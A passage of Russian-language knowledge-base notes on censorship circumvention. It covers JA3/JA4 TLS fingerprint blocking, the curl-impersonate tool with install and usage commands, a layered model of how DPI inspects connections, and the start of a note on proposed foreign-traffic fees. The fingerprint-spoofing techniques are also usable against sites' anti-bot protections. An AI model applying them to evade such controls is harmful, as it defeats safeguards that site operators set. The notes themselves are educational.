сортирует**). Не исключено и то, что конкретное правило DPI завязано на **JA3**, а не JA4 — тогда переупорядочивания шифров уже достаточно. Этим же объясняется авторское «**может не у всех**»: эффект зависит и от сборки браузера, и от того, на что именно настроено правило. ## Чем это НЕ является > [!important] Область применимости (из закреплённого комментария к статье) > Приём помогает только при **«сибирской» блокировке в варианте с учётом фингерпринта браузера** — то есть когда правило DPI завязано именно на TLS-отпечаток (JA3/JA4). Против **других** механизмов блокировки (а их довольно много) флаг **не поможет**. Это и есть прямой ответ на авторское «может не у всех». Что за «сибирская» схема и какие у неё ещё сигналы (подсеть, частота соединений) — см. [[VLESS/dpi-tls-june-2026|разбор схемы ограничений июня 2026]]. > [!note] Границы приёма > - Это **не VPN и не обход цензуры в целом** — помогает только против блокировок, завязанных на **TLS-отпечаток клиента**. > - Не поможет против блокировок по **IP/подсети, SNI или поведению** (частота соединений). > - **Canvas Defender и подобные расширения тут бесполезны** — они работают только в JS (Canvas/WebGL) и не касаются TLS-рукопожатия. Полноценные **антидетект-браузеры** (Multilogin, GoLogin и т.п.) на модифицированном Chromium TLS-отпечаток менять как раз умеют — это их фича, — но это тяжёлый платный инструмент для других задач (мультиаккаунтинг); ради возврата доступа к сайту флаг CNSA куда проще. > - Альтернатива со стороны **владельца сайта**, упомянутая в статье, — отключить TLS 1.3 (тогда отпечаток клиента иной); но это решение для админа ресурса, а не для пользователя. Автор добавляет, что у многих TLS 1.3 «отключён ещё со времён Cloudflare» (утверждение размытое, без подтверждения) и обещает отдельный материал для владельцев сайтов. ## Совместимость | Браузер | Флаг доступен | |---|---| | Chrome | ✅ `chrome://flags/#cryptography-compliance-cnsa` | | Brave / Opera / Яндекс.Браузер | ✅ (Chromium) | | Edge | ⚠️ спорно: автор статьи пишет, что флага **нет**; README `chrome_fix` указывает `edge://flags` — проверь на своей сборке | | Firefox / Safari | ❌ не нужно — у них и так другой JA4 | ## 📚 См. также - [[DPI/browser-ja4-fingerprint-block|Блокировка сайта по JA4-отпечатку браузера]] — что это за блок, почему страдает Chrome и какие ещё есть способы сменить отпечаток (Firefox, обновление Chrome, F5). - [[VLESS/dpi-tls-june-2026|Как DPI «замораживает» VLESS+REALITY: схема июня 2026]] — теория JA3/JA4 и uTLS, чем JA4 отличается от JA3. - [[DPI/dpi-analysis-pipeline|Как DPI анализирует соединение: воронка проверок]] — где стоит проверка TLS-отпечатка. - [[DPI/tspu-false-blocks-june-2026|Как ТСПУ ломает легитимные сайты: сопутствующий ущерб (июнь 2026)]] — общая картина июньских сбоев сайтов, где JA4-блок — лишь один из механизмов. - 🔗 [Спецификация JA4+ (FoxIO)](https://github.com/FoxIO-LLC/ja4) — почему JA4 сортирует шифры, а JA3 нет. - 🔗 [tls.browserleaks.com/json](https://tls.browserleaks.com/json) — посмотреть свой JA4 до/после. --- --- date: 2026-07-16 tags: - dpi - tls - ja3 - ja4 - fingerprint - curl - tool aliases: - curl-impersonate - curl impersonate - Проверка блокировки по JA3/JA4 - Имитация TLS-отпечатка браузера через curl link: https://github.com/lwthiker/curl-impersonate --- # 🥷 curl-impersonate — curl, притворяющийся браузером (проверка блокировок по TLS-отпечатку) > [!info] О чём заметка > **curl-impersonate** — это специальная сборка `curl`, которая воспроизводит сетевой «почерк» настоящих браузеров: их TLS-рукопожатие (отпечатки **JA3/JA4**), параметры HTTP/2 и порядок заголовков. Заметка объясняет, что это за инструмент и как им **проверять**, блокирует ли DPI ваше соединение именно по отпечатку клиента, а не по адресу или содержимому. Теория самого механизма блокировки по отпечатку разобрана в [[DPI/browser-ja4-fingerprint-block|кейсе с JA4-блокировкой]] и [[DPI/dpi-analysis-pipeline|воронке проверок DPI]] — здесь только инструмент. > [!warning] Статус проекта > Последний релиз оригинального `lwthiker/curl-impersonate` — **v0.6.1 (март 2024)**, поэтому «свежие» профили в нём соответствуют браузерам того времени (вплоть до Chrome 116, Firefox 117). Отпечатки браузеров устаревают: реальный Chrome 2026 года даёт уже другой JA4, чем профиль `chrome116`. Для актуальных отпечатков смотрите активные форки/наследники проекта (например, экосистему `curl_cffi` в Python). Проверяйте, какой именно отпечаток отдаёт ваша сборка, прежде чем делать выводы. ## TL;DR - Обычный `curl` имеет **свой уникальный TLS-отпечаток**, совсем не похожий на браузерный. Поэтому по «сигналу 2» (фингерпринт клиента) он и браузер выглядят для DPI по-разному. - **curl-impersonate** подделывает рукопожатие так, чтобы оно **совпадало с конкретным браузером** (Chrome, Edge, Firefox, Safari) — вплоть до набора TLS-расширений, шифронаборов, кривых и параметров HTTP/2. - Главная польза для темы обхода блокировок — **диагностика**: можно за секунды проверить, реагирует ли DPI на **отпечаток клиента**. Если сайт открывается через `curl_ff117`, но не через `curl_chrome116` (или наоборот) — значит блокировка идёт по JA3/JA4, а не по IP или SNI. - Использование — через готовые wrapper-скрипты: `curl_chrome116 https://example.com`, `curl_ff117 …`, `curl_safari15_3 …`. - Есть и библиотека `libcurl-impersonate.so` — её можно подсунуть чужому приложению через `LD_PRELOAD` + `CURL_IMPERSONATE=chrome116`, не меняя код приложения. ## Зачем это нужно: проблема отпечатка клиента Многие серверы и системы фильтрации (в том числе DPI) отличают «настоящий браузер» от «скрипта/бота» не по паролю и не по IP, а по **TLS-отпечатку** — характеристике самого TLS-рукопожатия. **JA3 / JA4** — это стандартизированные способы свернуть параметры первого пакета TLS (`ClientHello`) в короткую строку-хеш: какие версии TLS предложены, в каком порядке идут шифронаборы, какие расширения включены, какие эллиптические кривые и т.д. У каждой программы этот набор свой и довольно стабильный, поэтому по нему можно опознать клиента, даже не расшифровывая трафик. **Проще говоря:** ещё до того, как между вами и сайтом установится шифрование, ваша программа «представляется» — рассказывает, что она умеет и в каком порядке. Этот «акцент» у Chrome, Firefox и обычного `curl` разный, и наблюдатель посередине слышит разницу, не понимая ни слова из самого разговора. Проблема в том, что **обычные HTTP-клиенты** (`curl`, `requests`, `Go net/http`) звучат совершенно не как браузер. Поэтому: - сервисы с анти-бот-защитой их блокируют, отдавая капчу или `403`; - а DPI, наоборот, может блокировать **именно браузерный** отпечаток (как в [[DPI/browser-ja4-fingerprint-block|кейсе, где Chromium не открывал сайт, а `curl` открывал]]). curl-impersonate решает обе стороны задачи: он позволяет `curl`-у звучать как выбранный браузер — а значит, воспроизвести ровно тот отпечаток, который вы хотите проверить. ## Как реализована имитация curl-impersonate добивается совпадения на трёх уровнях сразу — потому что подделать только заголовки недостаточно, отпечаток считается ниже, на уровне TLS. - **TLS-уровень.** Сборка под Chrome компилируется с **BoringSSL** (TLS-библиотека Google), под Firefox — с **NSS** (TLS-библиотека Mozilla). Это не косметика: сам стек TLS берётся «родной» для имитируемого браузера, плюс правятся расширения, шифронаборы и кривые, чтобы `ClientHello` совпал байт-в-байт с оригиналом. - **HTTP/2-уровень.** Подгоняются параметры HTTP/2-соединения (SETTINGS, WINDOW_UPDATE) и **порядок псевдо-заголовков** — по ним тоже строят отпечаток (см. [[DPI/tspu-h2-h3-fingerprint-hypothesis|гипотезу об отпечатке HTTP/2 и HTTP/3]]). - **HTTP-заголовки.** Wrapper-скрипты выставляют набор и порядок заголовков (`User-Agent`, `Accept`, `sec-ch-*` и т.д.) как у настоящего браузера. **Проще говоря:** нельзя просто подменить `User-Agent` и стать Chrome — DPI и анти-бот-системы смотрят на то, *как* устроено само шифрованное рукопожатие, а не на то, что программа о себе пишет. curl-impersonate чинит именно рукопожатие, поэтому обмануть проверку получается. ## Поддерживаемые браузеры (в оригинальной сборке v0.6.1) | Браузер | Профили (версии) | |---|---| | **Chrome** | 99, 100, 101, 104, 107, 110, 116 (Win10); 99 (Android 12) | | **Edge** | 99, 101 (Win10) | | **Firefox** | 91 ESR, 95, 98, 100, 102, 109, 117 (Win10) | | **Safari** | 15.3, 15.5 (macOS) | Полный актуальный список профилей лежит в файле `browsers.json` в репозитории. Имя профиля (например, `chrome116`) — это и есть аргумент для библиотеки и суффикс wrapper-скрипта. ## Установка Готовые бинарники для Linux и macOS (Intel) есть на [странице релизов](https://github.com/lwthiker/curl-impersonate/releases). Варианты: - **Docker** (быстро попробовать, ничего не ставя в систему): ```bash docker pull lwthiker/curl-impersonate:0.6-chrome docker run --rm lwthiker/curl-impersonate:0.6-chrome curl_chrome110 https://www.wikipedia.org ``` - **Arch Linux (AUR):** `yay -S curl-impersonate-bin` - **macOS (Homebrew, только Chrome):** `brew tap shakacode/brew` затем `brew install curl-impersonate` - **Зависимости для Firefox-сборки на Linux** (нужен NSS): ```bash sudo apt install libnss3 nss-plugin-pem ca-certificates ``` ## Использование ### Через wrapper-скрипты (самый простой путь) Для каждого профиля есть готовый скрипт-обёртка, который уже подставляет нужные TLS-опции и заголовки: ```bash curl_chrome116 https://www.wikipedia.org curl_ff117 https://www.wikipedia.org curl_safari15_3 https://www.wikipedia.org ``` Дополнительные флаги передаются как обычному `curl`: ```bash curl_chrome116 -H "Custom-Header: value" -v https://example.com ``` ### Как проверить блокировку по отпечатку (сценарий диагностики) - [ ] Открыть проблемный адрес обычным `curl` — записать результат (успех/`RST`/таймаут). - [ ] Повторить через `curl_chrome116` (браузерный отпечаток Chromium). - [ ] Повторить через `curl_ff117` (отпечаток Firefox) — у него **другой** JA4. - [ ] Сравнить: если один профиль проходит, а другой стабильно рвётся (`TCP Retransmission` → `RST`) при том же IP и SNI — блокировка идёт **по отпечатку клиента**, а не по адресу. Это ровно тот механизм, что описан в [[DPI/browser-ja4-fingerprint-block|кейсе JA4-блокировки]]. ### Через libcurl (для своих программ) В комплекте есть `libcurl-impersonate.so` с дополнительной функцией: ```c CURLcode curl_easy_impersonate(struct Curl_easy *data, const char *target, // напр. "chrome116" int default_headers); // ставить ли браузерные заголовки ``` А чужое приложение, использующее libcurl, можно заставить имитировать браузер **без правки его кода** — через подмену библиотеки на Linux: ```bash LD_PRELOAD=/path/to/libcurl-impersonate.so \ CURL_IMPERSONATE=chrome116 \ my_app ``` Переменная `CURL_IMPERSONATE_HEADERS=no` отключает автоматические браузерные заголовки, если вы хотите задать их вручную. > [!tip] Вердикт: это диагностический инструмент, а не средство обхода > curl-impersonate удобен, чтобы **подтвердить или опровергнуть гипотезу**, что вас режут по JA3/JA4-отпечатку. Для повседневного обхода DPI он не нужен — там применяют другие подходы (uTLS/REALITY-фингерпринт в VLESS, десинхронизацию в Zapret). Но как «пробник» для воспроизведения конкретного отпечатка он незаменим: даёт быстрый, скриптуемый способ послать в сеть именно тот `ClientHello`, который вы хотите протестировать. ## 📚 См. также - [[DPI/browser-ja4-fingerprint-block|Блокировка по JA4-отпечатку браузера (кейс wireflow.space)]] — зачем вообще воспроизводить отпечаток: реальный случай, где Chromium резался, а `curl` проходил - [[DPI/dpi-analysis-pipeline|Как DPI анализирует соединение: воронка проверок]] — где в цепочке фильтрации стоит проверка отпечатка клиента - [[DPI/tspu-h2-h3-fingerprint-hypothesis|Гипотеза об отпечатке HTTP/2 и HTTP/3]] — второй уровень, который тоже имитирует curl-impersonate - 🔗 [curl-impersonate на GitHub](https://github.com/lwthiker/curl-impersonate) — исходники, релизы, `browsers.json` - 🔗 [Страница релизов](https://github.com/lwthiker/curl-impersonate/releases) — готовые бинарники и Docker-образы --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/DPI/curl-impersonate.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-06-07 tags: - dpi - tspu - ja3 - ja4 - tls - ml - rkn link: https://habr.com/ru/articles/1009560/ aliases: - Конвейер анализа DPI - Воронка проверок ТСПУ - Как DPI анализирует соединение img: --- # 🔍 Как DPI анализирует соединение: воронка проверок (от SYN до ML) > [!quote] Первоисточник > Эта заметка основана на статье **Александра Мурзина** (@cyberscoper) на Хабре: > 👉 **[«Как работает DPI: разбор по слоям» — habr.com/ru/articles/1009560](https://habr.com/ru/articles/1009560/)** > > Это заметка-«карта»: общий **конвейер анализа** ТСПУ от первого SYN-пакета до ML-классификации. Глубокий разбор **одной** его стадии (поведенческой схемы июня 2026) — в парной заметке [[dpi-tls-june-2026|Как DPI «замораживает» VLESS+REALITY]]. Вместе они дают и общую картину, и детальный срез. > [!info] Дисклеймер > Материал **исследовательский и образовательный**. Цель — собрать в одну картину то, *по каким признакам и в каком порядке* DPI разбирает соединение, чтобы было понятно, какой обходной приём какой слой закрывает. > [!warning] Важно про статус этих данных > Описанная «воронка» — это **аналитическая модель**, собранная по наблюдениям сообщества ([ntc.party](https://ntc.party/)) и реверс-инжинирингу, а не опубликованная спецификация ТСПУ. Конкретные числа (5 пакетов, 83 байта, 16 КБ, 95–99 %, 1–5 мс) читайте как **порядок величин и авторские оценки**, а не как точные константы системы. Реальная реализация различается от оператора к оператору и меняется со временем. --- ## TL;DR — анализ идёт «воронкой» DPI не выносит вердикт по одному пакету. Он накапливает данные и **отсеивает на каждом уровне**: дешёвые проверки сначала, дорогой ML — в конце и только для выживших. ```text трафик │ пакеты 1–5 ┌───▼───┐ TTL, TCP-опции (MSS/WS/SACK/TS) → отпечаток ОС (TCP/IP) └───┬───┘ │ байты 0–5 ┌───▼───┐ протокольный маркер: 16 03 01… / SSH-2.0- / … (сигнатура) └───┬───┘ │ байты 6–300 ┌───▼───┐ ClientHello → JA3 / JA4 (фингерпринт клиента) (TLS hello) └───┬───┘ │ байты ┌───▼───┐ сертификат*: CT-логи, ASN, CN/SAN ↔ SNI 300–3000 └───┬───┘ (* в TLS 1.3 сертификат шифруется → │ пассивно остаются только SNI и ASN) байты ┌───▼───┐ метаанализ потока: размеры, тайминги, 3000–16000 └───┬───┘ соотношение in/out, длительность │ после 16 КБ ┌───▼───┐ поведенческий ML-классификатор └───┬───┘ │ вердикт → пропустить / RST / drop / throttle ``` Чем дальше по воронке — тем дороже проверка и тем труднее её обмануть. Обходные средства бьются за то, чтобы **отсеяться пораньше** (выглядеть скучно уже на ранних слоях). > [!note] Как это связано с «сибирской» схемой > Поведенческая схема июня 2026 (подсеть + фингерпринт + частота) — это, по сути, **нижние этажи** этой воронки: фингерпринт = слой JA3/JA4, частота/параллелизм = слой метаанализа потока. Подробный разбор именно её — в [[dpi-tls-june-2026]]. Здесь — как она вписана в общий конвейер. --- ## Этап 0. TCP/IP — ещё до всякого TLS DPI начинает «нюхать» соединение раньше, чем дойдёт до шифрования — на уровне самих TCP/IP-заголовков. **TTL — отпечаток ОС и детектор fake-пакетов.** Разные ОС ставят разный стартовый TTL: - **Windows → TTL 128**, **Linux → TTL 64** (macOS/iOS тоже 64). - Каждый промежуточный хоп уменьшает TTL на 1: пакет с `TTL 63` прошёл один хоп, `TTL 62` — два. Отсюда — два следствия. Во-первых, по TTL грубо угадывается ОС клиента. Во-вторых (важнее для обхода): на TTL ловятся **fake-пакеты** инструментов вроде [[Zapret/about|Zapret/GoodbyeDPI]] — те шлют поддельный пакет с маленьким TTL, чтобы он дошёл до DPI, но «умер» по дороге к серверу. Если DPI умеет сверять TTL, он отличает такой fake от настоящего пакета. Это прямая связь нашей «воронки» с миром Zapret. **TCP-опции — пассивный отпечаток ОС (p0f).** Набор и **порядок** TCP-опций в SYN-пакете — `MSS`, `Window Scale`, `SACK`, `Timestamps` — различается между операционными системами и их версиями. Это классический пассивный fingerprinting (техника p0f): по одному только SYN можно сказать «это похоже на Windows 11» или «это похоже на Linux». > [!quote] Авторская оценка (под оговорку) > «Первые **пять пакетов** соединения проходят без активного вмешательства» — DPI сначала собирает контекст. И: «если первый содержательный пакет после рукопожатия короче **83 байт** — подозрительно». Эти числа — иллюстрация логики, а не подтверждённые константы. --- ## Этап 1. Протокольный маркер — первые байты данных Как только пошли данные, DPI смотрит на **первые байты** — у многих протоколов начало узнаваемо: | Протокол | Маркер начала | | --- | --- | | **TLS ClientHello** | `16 03 01 xx xx 01 00 xx xx xx 03 03 …` | | **SSH** | ASCII-строка `SSH-2.0-…` | | **OpenVPN** | свой характерный заголовок | | **WireGuard** | характерный UDP-заголовок (тип сообщения) | | **Shadowsocks** (без обфускации) | **статистически случайные байты** — отсутствие маркера само по себе примета | Разбор TLS-маркера: `16` = Content Type Handshake; `03 01` = версия **record-слоя** (легаси, всегда «TLS 1.0» ради совместимости); `01` = Handshake Type ClientHello; `03 03` = `legacy_version`. > [!important] Поправка к первоисточнику > Источник пишет, что `03 03` — это «TLS 1.3 внутри ClientHello». Это неточность: `0x0303` — это `legacy_version` (формально **TLS 1.2**), поставленный ради совместимости. **Настоящая** версия TLS 1.3 объявляется не здесь, а в расширении `supported_versions` (`0x0304`). Полный побайтовый разбор реального `ClientHello` — в [[dpi-tls-june-2026#Как выглядит этот «почерк» на самом деле|байт-дампе RFC 8448 из парной заметки]]. Любопытно, что **Shadowsocks** проходит этот этап «наоборот»: у него нет маркера вообще, поток выглядит как энтропийный шум. На фоне веба, где почти всё — TLS с узнаваемым началом, «совершенно случайные байты с первого пакета» — сами по себе аномалия (по этому признаку, кстати, и ловят многие обфусцированные протоколы). --- ## Этап 2. JA3 / JA4 — отпечаток клиента по ClientHello Если маркер сказал «это TLS», DPI сворачивает `ClientHello` в фингерпринт. Точное определение **JA3**: ```text JA3 = MD5( SSLVersion, Ciphers, # список шифров, без GREASE-значений Extensions, # список расширений, без GREASE-значений EllipticCurves, EllipticCurvePointFormats ) ``` **JA4** (FoxIO, 2023) — новее и устойчивее: менее чувствителен к перетасовке порядка расширений (сортирует их), разделяет клиентскую и серверную части, даёт более стабильный отпечаток. По этому слою DPI говорит «это Chrome 13x» или «это голый Go-клиент». Здесь же и кроется ловушка массового `fingerprint: chrome`. **Глубокий разбор** — что такое фингерпринт побайтово, чем JA3 отличается от JA4, почему «голый» Go палится и что делает uTLS — в [[dpi-tls-june-2026#🔬 Технические детали: uTLS — как работает TLS-почерк|разделе про uTLS парной заметки]]. > [!note] Нюанс про GREASE в JA3 > То, что JA3 **исключает** GREASE-значения, — палка о двух концах. С одной стороны, отпечаток не «плавает» из-за случайных GREASE. С другой — Chrome **тасует порядок расширений** на каждом соединении (официально с Chrome 110, фактически проявлялось уже в сборках 108–109, начало 2023), а порядок в JA3 учитывается → у Chrome JA3 всё равно «плавает». Именно поэтому и появился JA4 с сортировкой. --- ## Этап 3. Сертификат — проверка TLS-личности сервера Дальше DPI смотрит на `ServerHello` и **сертификат** сервера и сверяет три вещи: - **Certificate Transparency.** Существует ли такой сертификат в публичных CT-логах? Выпущен ли он реально на этот домен? - **ASN сервера.** IP-адрес должен лежать в «правильной» автономной системе для этого бренда. Apple держит серверы в **AS714**, Microsoft — в **AS8075**. Если SNI говорит `icloud.com`, а IP — из чужой AS, это рассогласование. - **SNI ↔ CN/SAN.** Имя в `ClientHello` (SNI) должно совпадать с именем в сертификате. Если SNI = `icloud.com`, а приехал сертификат Let's Encrypt на случайный домен — не совпало. > [!important] Главная оговорка этапа: в TLS 1.3 сертификат не виден > Две из трёх проверок выше **пассивно работают в основном на TLS 1.2**. В **TLS 1.3** сообщение `Certificate` идёт **зашифрованным** (после `ServerHello`, под ключами рукопожатия) — пассивный наблюдатель его **не читает** ([RFC 8446](https://www.rfc-editor.org/rfc/rfc8446)). А сегодня почти весь веб — это TLS 1.3. Поэтому: > - **CT-логи** и **сверка CN/SAN ↔ SNI** для пассивного DPI на TLS 1.3 фактически **недоступны** — для них нужен **активный** MITM/перехват (это уже не «пассивная воронка»). На TLS 1.2 — работают. > - Надёжно пассивно в TLS 1.3 виден только **SNI в `ClientHello`** (если не включён ECH) и **IP/ASN** назначения. > - «Бренд = одна AS» — упрощение: Apple/Microsoft/Google массово раздают трафик через **сторонние CDN**, и тогда IP легитимно лежит в чужой AS (напр., egress-узлы iCloud Private Relay идут через сторонние CDN — Akamai, Cloudflare, Fastly, — то есть не из AS714). Грубая сверка «чужая AS → палево» даёт ложные срабатывания; реальный DPI держит allow-list **всех** AS/CDN бренда. > [!tip] Почему REALITY проходит этот этап > Это ровно тот слой, который закрывает **REALITY** — и работает он **только поверх TLS 1.3**, что здесь принципиально. REALITY не выпускает свой сертификат: сервер ретранслирует рукопожатие клиента к реальному `dest` (популярному сайту). Дальше важно различать **двух адресатов**: > - **Для постороннего наблюдателя/DPI** соединение неотличимо от настоящего TLS к `dest`: правильные SNI, IP и ASN, а сам `Certificate` — **зашифрован** (TLS 1.3), так что наблюдатель его и не читает. Именно на шифровании сертификата и держится незаметность — DPI нечего сверять с CT. > - **Для «своего» клиента** REALITY-сервер на лету **подменяет** сертификат на временный доверенный (привязан к ECDH-секрету/AuthKey) — по нему клиент опознаёт «свой» сервер. Если же клиенту приходит **настоящий** сертификат `dest`, это сигнал «меня редиректят/MITM-ят», и клиент уходит в режим обычного веб-браузера. > > Классический же VLESS/Trojan со *своим* сертификатом слабее — но пассивно в TLS 1.3 его выдаёт не чтение сертификата, а **IP/ASN хостинга** и **SNI на домен без трафика и репутации**; сам Let's Encrypt-сертификат виден лишь при **активном** зондировании или на TLS 1.2. Подробнее про заимствование личности — в [[dpi-tls-june-2026#Имеет ли смысл держать на VPS свою страничку и использовать её как SNI?|парной заметке]]. --- ## Этап 4. Метаанализ потока — поведение, а не содержимое Если по сертификату не придрались, DPI переходит к **форме трафика** — её шифрование не скрывает. Здесь смотрят на статистику: - **Соотношение in/out.** У браузера трафик асимметричен: маленькие запросы, большие ответы — типично **1:10 … 1:20**. Туннель, по которому льётся всё подряд, это соотношение нарушает. - **Межпакетные интервалы.** Браузер делает паузы (парсинг, отрисовка, реакция человека) — **десятки–сотни миллисекунд**. Туннель часто гонит данные ровным потоком без «человеческих» пауз. - **Длительность соединения.** Браузер живёт минутами (keep-alive), потом закрывается. **VLESS держит соединение открытым часами** — это аномалия. Это и есть тот уровень, на котором работает **Сигнал 3** «сибирской» схемы (частота и параллелизм соединений к одному SNI). Разбор поведенческого сигнала и лекарства от него (`mux`, разные SNI) — в [[dpi-tls-june-2026#Сигнал 3. Частота и параллелизм — «как» вы подключаетесь|парной заметке]]. --- ## Этап 5. ML-классификация — после ~16 КБ Для соединений, доживших до этого этапа, DPI скармливает накопленную статистику (размеры пакетов, тайминги, энтропию, ритм всплесков) **ML-классификатору**. > [!quote] Заявленная точность (под оговорку) > «Точность ML-классификаторов **в лабораторных условиях** достигает **95–99 % для Shadowsocks и VMess**. В продакшне — ниже». Лабораторные числа всегда оптимистичны: в реальном трафике с шумом, ложными срабатываниями и ценой ошибки порог срабатывания держат заметно выше. > [!note] Не путать «16 КБ → ML» и метод «tcp 16-20» > Совпадение порога обманчиво. В [[dpi-tls-june-2026]] упоминается отдельный метод **«tcp 16-20» (l4-25)** — он *тупо замораживает* соединение после ~16 КБ / ~25 пакетов, без всякого ML. Здесь же 16 КБ — это момент, когда у DPI **накопилось достаточно** данных, чтобы запустить статистику. Это два разных механизма с похожим порогом, а не одно и то же. Связь с фундаментальным пределом обфускации: даже padding и mux не убирают **round-trip-узор** вложенного TLS-рукопожатия (детект по [USENIX Security 2024](https://www.usenix.org/conference/usenixsecurity24/presentation/xue-fingerprinting)). Почему именно — разобрано в [[dpi-tls-june-2026#Почему padding и mux в принципе не прячут TLS-в-TLS (детект по round-trip'ам)|парной заметке]]. --- ## Что DPI делает с вердиктом Опознав обход, DPI применяет одну из трёх мер: | Метод | Что делает | Как ощущается | | --- | --- | --- | | **TCP RST injection** | вбрасывает поддельный `RST` в поток | соединение резко рвётся | | **Drop пакетов** | молча не пропускает пакеты | «зависание», потом таймаут | | **Throttling** | намеренное замедление + потери | «как будто плохой интернет» | «Заморозка на 120/600 секунд» из «сибирской» схемы — это вариант **throttling**: соединение не рвут демонстративно, а тихо душат, чтобы было похоже на плохую связь, а не на цензуру. > [!quote] Про задержку самого DPI (под оговорку) > Активная инспекция добавляет «**1–5 мс** для большинства соединений». Само по себе это иногда косвенный признак присутствия DPI на маршруте. --- ## Контрмеры по слоям: кто какой этаж закрывает Главный практический вывод обеих заметок совпадает: **ни один инструмент в одиночку не закрывает все слои.** Каждый приём бьёт по своему этажу воронки: | Слой воронки | Чем закрывается | | --- | --- | | TCP/IP (TTL, опции ОС) | корректный стек ОС; для Zapret — аккуратные fake с верным TTL | | Протокольный маркер (байты 0–5) | TLS-обёртка (REALITY/Trojan) — выглядит как обычный TLS | | JA3 / JA4 (байты 6–300) | **uTLS-фингерпринт** (`fingerprint: firefox/edge/…`) | | SNI / ASN / сертификат (300–3000)¹ | **REALITY** (правильный SNI-донор + чужой ASN + защита от активного зондирования) | | Метаанализ потока (3000–16 000) | **mux** / разнесение по SNI / `xPaddingBytes` | | ML (после 16 КБ) | нормализация формы (**XHTTP+XMUX**) — и то лишь *статистически* | ¹ В TLS 1.3 сам сертификат пассивно не виден (зашифрован), поэтому пассивно на этом этаже остаются **SNI и ASN/IP**; REALITY закрывает их (чужой знаменитый SNI-донор + правильный ASN) и защищает от **активного** зондирования — а не «прячет чтение сертификата», которого пассивный DPI в TLS 1.3 и так не делает (см. callout в Этапе 3). Видно, что слои **ортогональны**: можно идеально закрыть JA3 и провалиться по подсети; можно спрятать сертификат через REALITY и спалиться по поведению потока. Устойчивость даёт не «волшебная галочка», а закрытие воронки **сверху донизу** — ровно к этому и приходит разбор в [[dpi-tls-june-2026#🎯 Главный вывод|парной заметке]]. --- ## ⚠️ Честная оговорка про числа Чтобы не выдавать модель за спецификацию — что здесь **проверяемый факт**, а что **авторская оценка**: - ✅ **Твёрдо:** TTL 128/64 и декремент по хопам; TCP-опции как отпечаток ОС (p0f); сигнатура `16 03 01…`; `SSH-2.0-`; формула JA3 (5 полей, без GREASE); JA4/FoxIO 2023 (сортировка шифров и расширений); ASN-факты (AS714 Apple, AS8075 Microsoft); методы RST/drop/throttle. - ⚠️ **Иллюстративно / под оговорку:** «5 пакетов без вмешательства», «короче 83 байт», пороги байтовых стадий (0–5 / 6–300 / …), «95–99 % в лаборатории», «1–5 мс задержки», соотношения 1:10–1:20. Это порядок величин и логика, а не подтверждённые константы ТСПУ. - 🪧 **С важной оговоркой:** проверки **CT-логов** и **CN/SAN ↔ SNI** (Этап 3) — реальные техники, но **пассивно доступны в основном на TLS 1.2**; в TLS 1.3 сертификат зашифрован, и для них нужен активный MITM. Связка «бренд = одна AS» ломается на CDN. - 🩹 **Поправлено:** `0x0303` — это `legacy_version` (TLS 1.2), а не «TLS 1.3 внутри ClientHello» (настоящая версия — в `supported_versions`); из формулы JA3 убрано ошибочное «без padding (21)» — каноничный JA3 исключает только GREASE. --- ## 📚 См. также - 🔗 **Первоисточник:** [habr.com/ru/articles/1009560](https://habr.com/ru/articles/1009560/) — Александр Мурзин (@cyberscoper) - 🧊 **Парная заметка:** [[dpi-tls-june-2026|Как DPI «замораживает» VLESS+REALITY: схема июня 2026]] — глубокий разбор поведенческой стадии - 🦎 **Парная заметка:** [[statistical-morphing-concept|Адаптивная мимикрия: статистический морфинг трафика]] — концепт-ответ на поведенческий детект (Этап 4) - 🕵️ **Полевой кейс:** [[browser-ja4-fingerprint-block|Блокировка сайта по JA4-отпечатку браузера]] — как слой JA3/JA4 этой воронки бьёт по обычному Chrome - 🔗 [JA4 — FoxIO-LLC/ja4](https://github.com/FoxIO-LLC/ja4) - 🔗 [USENIX Security 2024 — Fingerprinting Obfuscated Proxy Traffic](https://www.usenix.org/conference/usenixsecurity24/presentation/xue-fingerprinting) (round-trip-узор вложенного TLS — Этап 5) - 🔗 [USENIX Security 2023 — How the GFW Detects and Blocks Fully Encrypted Traffic (Wu et al.)](https://www.usenix.org/conference/usenixsecurity23/presentation/wu-mingshi) (детект «бесмаркерного» трафика по энтропии — Этап 1) - 🔗 [IMC 2020 — How China Detects and Blocks Shadowsocks](https://gfw.report/publications/imc20/en/) (энтропия первого пакета + активное зондирование — Этапы 1 и 5) - [[Zapret/about|Что такое обход DPI: VPN, Tor, DPI]] - [[Zapret/vless-sni|Список SNI для VLESS]] --- --- date: 2026-06-25 tags: - rkn - цензура - vpn - telecom - тарифы - суверенный-интернет link: https://www.rbc.ru/technology_and_media/25/06/2026/6a3d08009a7947d4f00db75e aliases: - Экономический фильтр зарубежный трафик - Плата за зарубежный интернет 2026 - Согласительный порядок на каналы связи - Мораторий на расширение зарубежных каналов - Дифференцированные тарифы интернет 2026 - Сужение трубы зарубежного трафика --- # 💸 Экономический фильтр: плата за зарубежный интернет и согласительный порядок на каналы (2026) > [!info] О чём заметка > Новый рычаг давления на доступ к зарубежному интернету в России — **не блокировка сайтов, а ограничение самой «трубы»**, по которой идёт весь международный трафик. С марта 2026 расширять зарубежные каналы связи можно только с разрешения Минцифры; к осени каналы могут переполниться, и операторы прогнозируют «экономический фильтр» — повышение цены доступа к загранице и разделение тарифов на внутрироссийский и зарубежный. Это другой механизм, чем [[subnet-whitelist-blocking-2026|ковровые блоки облаков по белому списку]] или [[VLESS/dpi-tls-june-2026|DPI против TLS-обходов]], но часть той же линии на «суверенный интранет». > [!warning] Статус данных: прогнозы с отраслевого форума, а не объявленная политика > Ключевые тезисы ниже — **прогнозы и сценарии «худшего случая»**, озвученные на Night Telecom Forum в Санкт-Петербурге **24 июня 2026** руководителем направления телеком-бизнеса «Транстелекома» (ТТК, «дочка» РЖД) **Ильёй Гуденко** и поддержанные гендиректором точки обмена трафиком Piter-IX **Николаем Метлюком**; изложены по материалу **РБК** от 25 июня 2026. Это **не** объявленные тарифы и **не** официальная позиция ведомств: МТС, «МегаФон» и «ВымпелКом» (Билайн) от комментариев отказались, запросы в «Ростелеком» и Минцифры на момент публикации без ответа. Воспринимайте как оценку рисков, а не как свершившийся факт. ## TL;DR - С марта 2026 действует **согласительный порядок** (а не формальный «мораторий»): расширять зарубежные каналы связи операторы могут только с разрешения 